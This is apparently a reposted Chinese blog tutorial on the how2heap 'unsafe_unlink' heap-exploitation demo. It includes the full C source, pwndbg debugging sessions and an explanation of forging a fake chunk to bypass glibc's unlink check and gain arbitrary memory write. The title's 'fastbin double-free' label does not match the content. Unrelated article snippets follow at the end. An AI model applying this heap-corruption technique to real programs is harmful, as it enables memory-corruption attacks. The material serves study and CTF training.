从零开始学howtoheap:fastbins的double-free攻击实操3

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的double-free攻击

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即unsafe unlink。

2.unsafe unlink程序

   #include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>uint64_t *chunk0_ptr;int main(){fprintf(stderr, "当您在已知位置有指向某个区域的指针时,可以调用 unlink\n");fprintf(stderr, "最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针\n");int malloc_size = 0x80; //要足够大来避免进入 fastbinint header_size = 2;fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");fprintf(stderr, "通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False\n");chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);fprintf(stderr, "Fake chunk 的 fd: %p\n",(void*) chunk0_ptr[2]);fprintf(stderr, "Fake chunk 的 bk: %p\n\n",(void*) chunk0_ptr[3]);fprintf(stderr, "现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据\n");uint64_t *chunk1_hdr = chunk1_ptr - header_size;fprintf(stderr, "通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的\n");chunk1_hdr[0] = malloc_size;fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");chunk1_hdr[1] &= ~1;fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");free(chunk1_ptr);fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");char victim_string[8];strcpy(victim_string,"Hello!~");chunk0_ptr[3] = (uint64_t) victim_string;fprintf(stderr, "chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。\n");fprintf(stderr, "之前的值是: %s\n",victim_string);chunk0_ptr[0] = 0x4141414142424242LL;fprintf(stderr, "新的值是: %s\n",victim_string);}

 3.调试unsafe_unlink

3.1 获得可执行程序 

gcc -g unsafe_unlink.c -o unsafe_unlink

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gcc -g unsafe_unlink.c -o unsafe_unlink
root@pwn_test1604:/ctf/work/how2heap# gdb ./unsafe_unlink
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./unsafe_unlink...done.
pwndbg> r
Starting program: /ctf/work/how2heap/unsafe_unlink 
当您在已知位置有指向某个区域的指针时,可以调用 unlink
最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针
本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入全局变量 chunk0_ptr 在 0x602070, 指向 0x603010
我们想要破坏的 chunk 在 0x6030a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x602058
Fake chunk 的 bk: 0x602060现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块现在释放掉 chunk1,会触发 unlink,合并两个 free chunk
此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置
chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。
之前的值是: Hello!~
新的值是: BBBBAAAA
[Inferior 1 (process 52) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 申请了两个堆之后

​ unlink有一个保护检查机制,在解链操作之前,针对堆块P自身的fd和bk 检查了链表的完整性,即判断堆块P的前一块fd的指针是否指向P,以及后一块bk的指针是否指向 P。

​ malloc_size设置为0x80,可以分配small chunk,然后定义header_size为2。申请两块空间,全局指针chunk0_ptr指向chunk0,局部指针chunk1_ptr 指向 chunk1。先在main函数上设置一个断点,然后单步走下一步,走到20行。

​ 我们来看一下,申请了两个堆之后的情况。

设置断点 在第21行, 指令 b 21

pwndbg> n
21             fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x6030a0 ◂— 0x0RBX  0x0RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX  0x6030a0 ◂— 0x0RDI  0x0RSI  0x603120 ◂— 0x0R8   0x603000 ◂— 0x0R9   0xdR10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x603120 ◂— 0x0R11  0x0R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 ◂— 0x0RIP  0x40074a (main+164) ◂— mov    rdx, qword ptr [rip + 0x20191f]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400739 <main+147>    mov    eax, dword ptr [rbp - 0x28]0x40073c <main+150>    cdqe   0x40073e <main+152>    mov    rdi, rax0x400741 <main+155>    call   malloc@plt <0x400580>0x400746 <main+160>    mov    qword ptr [rbp - 0x20], rax► 0x40074a <main+164>    mov    rdx, qword ptr [rip + 0x20191f] <0x602070>0x400751 <main+171>    mov    rax, qword ptr [rip + 0x201908] <0x602060>0x400758 <main+178>    mov    rcx, rdx0x40075b <main+181>    mov    edx, chunk0_ptr <0x602070>0x400760 <main+186>    mov    esi, 0x400bc80x400765 <main+191>    mov    rdi, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsafe_unlink.c16        fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");17    18        chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk019        uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk120        fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);► 21        fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);22    23        fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");24        fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");25        chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);26        fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
01:0008│      0x7fffffffe598 ◂— 0x200000080
02:0010│      0x7fffffffe5a0 —▸ 0x6030a0 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x4005b0 (_start) ◂— xor    ebp, ebp
04:0020│      0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│      0x7fffffffe5b8 ◂— 0x5f6182742d545d00
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           40074a main+164f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000091
0x603010:       0x0000000000000000      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000091
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000020ee1
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> 

3.3.2 利用全局指针chunk0_ptr构造fake chunk来绕过它

接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False的检查,这个检查有个缺陷,就是fd/bk指针都是通过与chunk头部的相对地址来查找的,所以我们可以利用全局指针chunk0_ptr构造fake chunk来绕过它。

再单步走到40行。

pwndbg> b 40
Breakpoint 4 at 0x400947: file unsafe_unlink.c, line 40.
pwndbg> c
Continuing.
全局变量 chunk0_ptr 在 0x602070, 指向 0x603010
我们想要破坏的 chunk 在 0x6030a0
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x602058
Fake chunk 的 bk: 0x602060现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块Breakpoint 4, main () at unsafe_unlink.c:41
41             fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603098 ◂— 0x90RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x90RDI  0x2RSI  0x400f00 ◂— out    0x8e, alR8   0x61R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 ◂— 0x0RIP  0x400947 (main+673) ◂— mov    rax, qword ptr [rip + 0x201712]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400947 <main+673>    mov    rax, qword ptr [rip + 0x201712] <0x602060>0x40094e <main+680>    mov    rcx, rax0x400951 <main+683>    mov    edx, 0x440x400956 <main+688>    mov    esi, 10x40095b <main+693>    mov    edi, 0x400f680x400960 <main+698>    call   fwrite@plt <0x400590>0x400965 <main+703>    mov    rax, qword ptr [rbp - 0x20]0x400969 <main+707>    mov    rdi, rax0x40096c <main+710>    call   free@plt <0x400540>0x400971 <main+715>    mov    rax, qword ptr [rip + 0x2016e8] <0x602060>0x400978 <main+722>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsafe_unlink.c36        fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);37        fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");38        chunk1_hdr[1] &= ~1;39    40        fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");► 41        free(chunk1_ptr);42    43        fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");44        char victim_string[8];45        strcpy(victim_string,"Hello!~");46        chunk0_ptr[3] = (uint64_t) victim_string;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 ◂— 0x0
01:0008│      0x7fffffffe598 ◂— 0x200000080
02:0010│      0x7fffffffe5a0 —▸ 0x6030a0 ◂— 0x0
03:0018│      0x7fffffffe5a8 —▸ 0x603090 ◂— 0x80
04:0020│      0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│      0x7fffffffe5b8 ◂— 0x5f6182742d545d00
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a40 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400947 main+673f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsafe_unlink.c:40
pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000091
0x603010:       0x0000000000000000      0x0000000000000000
0x603020:       0x0000000000602058      0x0000000000602060
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000080      0x0000000000000090
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000020ee1
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> 
pwndbg> x/4gx 0x0000000000602058
0x602058:       0x0000000000000000      0x00007ffff7dd2540
0x602068 <completed>:   0x0000000000000000      0x0000000000603010
pwndbg> x/4gx 0x0000000000602060
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540      0x0000000000000000
0x602070 <chunk0_ptr>:  0x0000000000603010      0x0000000000000000
pwndbg> 

​ 我们的fake chunk的fd指向0x602058,然后0x602058的bk指向0x602070。fake chunk的bk指向0x602060,然后0x602060的fd指向 0x602070,可以保证前后都指向我们伪造的这个 chunk,完美!

​ 接下来释放掉chunk1,因为fake chunk和chunk1是相邻的一个free chunk,所以会将他两个合并,这就需要对fake chunk进行unlink,进行如下操作:

FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD

根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:

FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
BK->fd = *(&P - 16 + 16) = P

这样就通过了 unlink 的检查,最终效果为:

FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24

也就是说,chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址,在这个图示中最终实现的效果是ptr中存的是ptr-0x18,如果本来ptr 是存的一个指针的,现在它指向了ptr-0x18。如果编辑这里的内容就可以往ptr-0x18那里去写,实现了覆盖这个指针为任意值的效果。

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/464349.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何将 Hexo 部署到 GitHub Pages

引言 在数字时代&#xff0c;拥有个人博客是展示自己想法、分享知识和技能的绝佳方式。Hexo 是一个基于 Node.js 的静态博客生成器&#xff0c;它结合了简洁性和功能性&#xff0c;让我们可以轻松地建立并维护一个博客。而 GitHub Pages 提供了一个免费的平台来托管这些静态网站…

什么是宿主软件?宿主软件有哪些?

什么是宿主软件? 宿主软件就是专业的音乐制作软件&#xff0c;我们日常听到的大多数正规音乐作品都是用宿主软件制作出来的&#xff0c;这些软件一般需要安装各类插件&#xff0c;插件就像寄生虫需要在宿主软件里加载才可以工作。 插件主要分虚拟乐器插件和音频处理插件两类…

如何使用 sqlalchemy declarative base 多层次继承

在SQLAlchemy中&#xff0c;通过declarative_base创建的基类可以通过多层次的继承建立继承关系。这允许你在数据库中创建具有继承结构的表。在我使用某数据库做中转的时候&#xff0c;经常会遇到各种各样的问题&#xff0c;例如下面的问题&#xff0c;通过记录并附上完美的解决…

架构篇34:深入理解微服务架构 - 银弹 or 焦油坑?

文章目录 微服务与 SOA 的关系微服务的陷阱小结 微服务是近几年非常火热的架构设计理念&#xff0c;大部分人认为是 Martin Fowler 提出了微服务概念&#xff0c;但事实上微服务概念的历史要早得多&#xff0c;也不是 Martin Fowler 创造出来的&#xff0c;Martin 只是将微服务…

Spring Boot 笔记 005 环境搭建

1.1 创建数据库和表&#xff08;略&#xff09; 2.1 创建Maven工程 2.2 补齐resource文件夹和application.yml文件 2.3 porn.xml中引入web,mybatis,mysql等依赖 2.3.1 引入springboot parent 2.3.2 删除junit 依赖--不能删&#xff0c;删了会报错 2.3.3 引入spring web依赖…

备战蓝桥杯---动态规划之经典背包问题

看题&#xff1a; 我们令f[i][j]为前i个物品放满容量为j的背包的最大价值。 f[i][j]max(f[i-1][j],f[i-1][j-c[i]]w[i]); 我们开始全副成负无穷。f[0][0]0;最后循环最后一行求max; 负无穷&#xff1a;0xc0c0c0c0;正无穷&#xff1a;0x3f3f3f3f 下面是v12,n6的图示&#xff…

QXlsx Qt操作excel(2)

QXlsx 是一个用于处理Excel文件的开源C库。它允许你在你的C应用程序中读取和写入Microsoft Excel文件&#xff08;.xlsx格式&#xff09;。该库支持多种操作&#xff0c;包括创建新的工作簿、读取和写入单元格数据、格式化单元格、以及其他与Excel文件相关的功能。 关于QXlsx的…

骑砍MOD天芒传奇-天芒使用方法

骑砍1战团mod天芒传奇-使用红色天芒碎片开P51战斗机_单机游戏热门视频 (bilibili.com)https://www.bilibili.com/video/BV1nm41197iA/ 一.黄色天芒碎片 天芒盒子 野外战斗H键-召唤徐天地 二.绿色天芒碎片 天芒盒子 野外战斗H键-站在巨人肩膀上战斗 三.蓝色天芒碎片 天芒盒…

Github 2024-02-06 开源项目日报Top9

根据Github Trendings的统计&#xff0c;今日(2024-02-06统计)共有9个项目上榜。根据开发语言中项目的数量&#xff0c;汇总情况如下&#xff1a; 开发语言项目数量Python项目4TypeScript项目2C项目1Ruby项目1HTML项目1Go项目1Rust项目1C项目1Kotlin项目1 Magic Mask for And…

【Linux】make和Makefile

目录 make和Makefile make和Makefile 我们使用vim编辑器的时候&#xff0c;在一个文件里写完代码要进行编译&#xff0c;要自己输入编译的指令。有没有一种可以进行自动化编译的方法——makefile文件&#xff0c;它可以指定具体的编译操作&#xff0c;写好makefile文件&#x…

Nginx实战:3-日志按天分割

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、方式1&#xff1a;定时任务执行分割脚本 1.分割日志脚本 2.添加定时任务 二、方式2&#xff1a;logrotate配置分割 1.logrotate简单介绍 2.新增切割ngi…

C语言-----自定义类型-----结构体枚举联合

结构体和数组一样&#xff0c;都是一群数据的集合&#xff0c;不同的是数组当中的数据是相同的类型&#xff0c;但是结构体中的数据类型可以不相同&#xff0c;结构体里的成员叫做成员变量 结构体类型是C语言里面的一种自定义类型&#xff0c;我们前面已经了解到过int,char,fl…